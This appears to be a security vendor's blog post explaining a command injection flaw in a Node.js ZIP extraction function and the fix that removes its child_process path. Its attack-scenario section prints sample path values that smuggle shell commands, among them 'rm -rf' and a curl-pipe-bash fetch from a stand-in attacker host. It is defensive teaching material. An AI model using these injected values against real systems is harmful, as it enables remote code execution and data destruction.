Back to Blog
high SEVERITY8 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `src/cli/commands/extract.js` at line 257, where user-controlled input was passed unsanitized into a `child_process` call via the `extractZipWithSystemTool` function. The fix eliminates the dangerous shell execution path entirely by removing the `spawn`-based system tool invocation and relying on the safe, pure-JavaScript `yauzl` library for ZIP extraction. This proactive hardening prevents downstream consumers of this Node.js lib

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `src/cli/commands/extract.js` where user-controlled input — specifically an archive path — was passed unsanitized to `child_process.spawn` via the `extractZipWithSystemTool` function. If an attacker could influence the `archivePath` or `extractTo` arguments, they could inject shell metacharacters to execute arbitrary commands on the host system. The fix removes the `child_process`-based extraction path entirely, eliminating the injection surface and delegating all ZIP extraction to the pure-JavaScript `yauzl` library, which never invokes a shell.

Vulnerability at a Glance

cweCWE-78
fixRemove child_process.spawn-based extraction entirely; use pure-JavaScript yauzl library
riskArbitrary shell command execution on the host system
languageJavaScript (Node.js)
root causeUser-controlled archive path passed unsanitized to child_process.spawn in extractZipWithSystemTool
vulnerabilityCommand Injection via child_process

How Command Injection Happens in Node.js child_process Calls and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability Command Injection via child_process
CWE CWE-78: Improper Neutralization of Special Elements in an OS Command
Language JavaScript (Node.js)
Risk Arbitrary shell command execution on the host system
Root Cause User-controlled archive path passed unsanitized to child_process.spawn
Fix Removed spawn-based extraction; delegated entirely to yauzl

Introduction

The src/cli/commands/extract.js file is responsible for unpacking archive files — a routine but security-sensitive operation in any CLI tool. A flaw in the extractZipWithSystemTool function created a command injection vector: user-supplied archive paths and extraction destinations were passed directly into child_process.spawn without sanitization. Semgrep flagged this pattern at line 257 under rule javascript.lang.security.detect-child-process.detect-child-process, and the fix removes the dangerous execution path entirely.

This matters to any developer building CLI tools or libraries that process user-supplied file paths. The pattern — "try a fast system tool, fall back to a pure-JS library" — is common and convenient, but it silently introduces a shell execution surface that can be exploited if the inputs ever touch attacker-controlled data.


The Vulnerability Explained

What the Code Was Doing

The vulnerable flow worked like this:

  1. extractZip(archivePath, extractTo) was called with paths that could originate from user input.
  2. It first called validateZipEntries to check for zip-slip (path traversal within entries).
  3. It then called extractZipWithSystemTool(archivePath, extractTo).
  4. extractZipWithSystemTool retrieved a list of system commands via getZipExtractorCommands(archivePath, extractTo) and called runProcess(command, args) — which internally used spawn from child_process.
// VULNERABLE: Before the fix
import { spawn } from 'child_process';

async function extractZipWithSystemTool(archivePath, extractTo) {
  const commands = getZipExtractorCommands(archivePath, extractTo);
  const errors = [];

  for (const { command, args } of commands) {
    try {
      await runProcess(command, args);  // spawn() called here with user data
      return;
    } catch (error) {
      errors.push(`${command}: ${error.message}`);
    }
  }
}

The critical issue: archivePath and extractTo — values that can be influenced by a downstream consumer of this library — flow into getZipExtractorCommands, which constructs the args array passed to spawn. If those values contain shell metacharacters and spawn is invoked with shell: true (or if exec is used under the hood), the OS shell interprets those characters as commands.

A Concrete Attack Scenario

Imagine a downstream application that accepts a user-supplied filename for extraction:

// Downstream consumer code (the victim application)
const userSuppliedPath = req.body.archivePath; // e.g., from an HTTP request
await extractZip(userSuppliedPath, '/tmp/output');

An attacker submits:

/uploads/archive.zip; rm -rf /tmp/output; echo pwned > /tmp/pwned

Or uses command substitution:

/uploads/$(curl http://attacker.com/shell.sh | bash).zip

If getZipExtractorCommands builds a shell string like:

unzip /uploads/$(curl http://attacker.com/shell.sh | bash).zip -d /tmp/output

...and that string reaches a shell interpreter, the attacker achieves remote code execution on the server.

Why This Library Is a Special Risk

Because this is a Node.js library (not a standalone application), the vulnerability's blast radius extends to every downstream project that imports it. The library's author may never pass unsanitized input themselves, but a consumer application might — and the library's use of child_process makes that consumer vulnerable even if their own code looks clean.


The Fix

The fix is surgical and decisive: remove the entire child_process-based extraction path.

Before: Two-Path Extraction with a Shell Execution Risk

// BEFORE: extract.js imported spawn and used it via extractZipWithSystemTool
import { spawn } from 'child_process';  // ← REMOVED

async function extractZip(archivePath, extractTo) {
  await validateZipEntries(archivePath, extractTo);  // zip-slip check

  try {
    await extractZipWithSystemTool(archivePath, extractTo);  // ← REMOVED
  } catch (systemError) {
    console.warn(`  System ZIP extractor failed: ${systemError.message}`);
    console.warn('  Falling back to yauzl ZIP extractor...');
    await extractZipWithYauzl(archivePath, extractTo);  // ← NOW THE ONLY PATH
  }
}

After: Single-Path Extraction Using Pure JavaScript

// AFTER: child_process import removed entirely
// extractZipWithSystemTool and its supporting functions removed
// extractZipWithYauzl is now the sole extraction mechanism

async function extractZip(archivePath, extractTo) {
  await validateZipEntries(archivePath, extractTo);
  await extractZipWithYauzl(archivePath, extractTo);
}

The diff removes:
- The import { spawn } from 'child_process' statement
- The extractZipWithSystemTool function (~30 lines)
- The validateZipEntries helper that supported the two-path flow
- All associated getZipExtractorCommands / runProcess plumbing

The yauzl-based extractor was already present as the fallback. Promoting it to the only path eliminates the shell execution surface without any loss of functionality for valid inputs. The zip-slip protection (validateZipEntries) is preserved.

Why This Fix Is Better Than Sanitization

One might ask: why not just sanitize archivePath before passing it to spawn? Several reasons:

  1. Sanitization is fragile. Shell escaping is notoriously error-prone across platforms and shells. A missed edge case means a bypass.
  2. The fallback already works. yauzl handles ZIP extraction in pure JavaScript — no shell, no injection surface, cross-platform by design.
  3. Defense in depth. Removing the attack surface entirely is always preferable to defending it. You can't inject into a shell that isn't invoked.

Prevention & Best Practices

1. Prefer Pure-JS Libraries Over System Tool Wrappers

When a JavaScript library exists for your task (e.g., yauzl for ZIP, tar npm package for tarballs), use it. System tool wrappers introduce OS-level dependencies and shell injection risks.

2. If You Must Use child_process, Use spawn With shell: false

// SAFER: spawn with argument array, shell:false (default)
const { spawn } = require('child_process');
const proc = spawn('unzip', ['-o', archivePath, '-d', extractTo], { shell: false });

// DANGEROUS: exec or spawn with shell:true
const { exec } = require('child_process');
exec(`unzip ${archivePath} -d ${extractTo}`);  // ← Never do this with user input

Using spawn with an array of arguments and shell: false means the OS kernel receives the arguments directly — no shell interprets metacharacters.

3. Validate Paths Against an Allowlist

If paths must be passed to any external process, validate them strictly:

const path = require('path');

function validateArchivePath(inputPath, allowedBase) {
  const resolved = path.resolve(inputPath);
  if (!resolved.startsWith(path.resolve(allowedBase))) {
    throw new Error('Path traversal detected');
  }
  // Additional: reject shell metacharacters
  if (/[;&|`$<>]/.test(inputPath)) {
    throw new Error('Invalid characters in path');
  }
  return resolved;
}

4. Use Shell-Escape Libraries as a Last Resort

If you must construct shell strings, use a library like shell-escape or shelljs with proper escaping — but prefer structural solutions over escaping.

5. Run Static Analysis in CI

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process caught this issue automatically. Add it to your CI pipeline:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: semgrep/semgrep-action@v1
  with:
    config: "p/nodejs-security"

Key Takeaways

  • The "try system tool, fall back to JS library" pattern silently introduces a shell execution surface — in extract.js, the extractZipWithSystemTool function was the risk, not the yauzl fallback.
  • Removing import { spawn } from 'child_process' entirely is a stronger fix than sanitizing its inputs — you cannot inject into a shell that is never invoked.
  • Library authors bear extra responsibility: vulnerabilities in extract.js affect every downstream consumer, not just the library's own use cases.
  • yauzl was already doing the safe thing — the pure-JS fallback that was there for reliability was also the security-correct path.
  • Zip-slip protection (validateZipEntries) was preserved — the fix tightened the shell injection risk without regressing the path traversal defense.

How Orbis AppSec Detected This

  • Source: The archivePath and extractTo arguments to extractZip(), which can originate from user-controlled input in downstream consumer applications.
  • Sink: child_process.spawn invoked inside runProcess(), called from extractZipWithSystemTool() at src/cli/commands/extract.js:257, with arguments constructed from the tainted archivePath and extractTo values.
  • Missing control: No sanitization or allowlist validation of shell metacharacters in the archive path before it was passed to the system tool command builder.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Removed the child_process-based extractZipWithSystemTool function and its spawn import entirely, leaving yauzl as the sole ZIP extraction mechanism.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The extract.js vulnerability is a textbook example of how a well-intentioned performance optimization — "use a fast native tool, fall back to JS if it fails" — can introduce a critical security flaw. The extractZipWithSystemTool function passed user-influenced paths into child_process.spawn, creating a command injection vector that any downstream consumer of this library could inadvertently expose.

The fix is elegant precisely because it doesn't try to sanitize the dangerous path — it removes it. The yauzl library handles ZIP extraction safely, portably, and without ever touching a shell. When you have a pure-JS alternative that works, use it. The performance difference is rarely worth the security debt.

For Node.js developers: treat every child_process call as a potential injection point. Ask yourself whether a pure-JS library could replace it. If not, use spawn with argument arrays and shell: false, validate inputs strictly, and run static analysis tools like Semgrep in your CI pipeline to catch these patterns before they ship.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled data is passed to child_process functions (exec, spawn, execFile) without sanitization, allowing attackers to inject shell metacharacters that execute arbitrary OS commands.

How do you prevent command injection in Node.js?

Avoid child_process with user input entirely when possible. If unavoidable, use execFile or spawn with argument arrays (never shell:true), validate input against a strict allowlist, and use shell-escape libraries.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input validation alone enough to prevent command injection in Node.js?

No. Input validation reduces risk but the safest approach is to avoid shell invocation entirely. Using spawn with an argument array and shell:false provides structural protection that validation alone cannot guarantee.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep (rule: javascript.lang.security.detect-child-process.detect-child-process), ESLint security plugins, and CodeQL can flag dangerous child_process usage patterns automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #48

Related Articles

high

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability in `shell-quote` 1.8.3 (CVE-2026-9277) allowed arbitrary code execution through unescaped line terminators in shell arguments. The fix upgrades the dependency to `shell-quote` 1.8.4 via a pnpm override, closing the attack surface in both `launch-editor` and `react-dev-utils` dependency chains.

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical OS command injection vulnerability was discovered in `backend_android.py`, where the `_sendevent` function constructed shell commands using f-string interpolation with a user-controlled `dev` parameter and executed them with `shell=True`. An attacker could exploit this by sending a crafted `android-config` packet with a malicious `eventDev` value containing shell metacharacters, enabling arbitrary command execution on the host. The fix validates the `dev` parameter against a strict re

high

How Denial of Service via Brace Expansion Happens in JavaScript and How to Fix It

A high-severity denial-of-service vulnerability (CVE-2026-13149) in the `brace-expansion` package was fixed by upgrading `concurrently` from `^9.2.1` to `^9.2.4`, which pulls in `shell-quote 1.9.0` instead of the vulnerable `1.8.3`. The flaw allowed an attacker to craft a specially formed brace-expansion pattern that caused exponential processing time, potentially hanging Node.js processes. Left unpatched, any code path that passed user-influenced strings through `concurrently`'s shell-quoting l

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow arbitrary code execution by bypassing the library's shell argument quoting logic. The fix upgrades shell-quote to version 1.8.4 and pins the dependency via a package.json override to ensure the patched version is consistently resolved across the dependency tree. This matters because shell-quote is widely used in Node.js tooling to safely construct shell com

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the simple-git npm package that allowed attackers to bypass previously shipped security patches. The flaw affected applications using simple-git versions prior to 3.32.3, and was resolved by upgrading to 3.36.0, which introduced a dedicated argument-parsing architecture to properly sanitize untrusted input before it reaches the underlying git process.

high

How Path Traversal happens in PostCSS Source Map Loading and how to fix it

A path traversal vulnerability in PostCSS versions before 8.5.18 allowed malicious `sourceMappingURL` comments in CSS files to trick PostCSS into loading arbitrary `.map` files from the filesystem. The fix upgrades PostCSS from 8.5.15 to 8.5.18 in `frontend/package-lock.json` and pins the version via an override in `frontend/package.json`, closing the file disclosure vector before it could be chained with other weaknesses.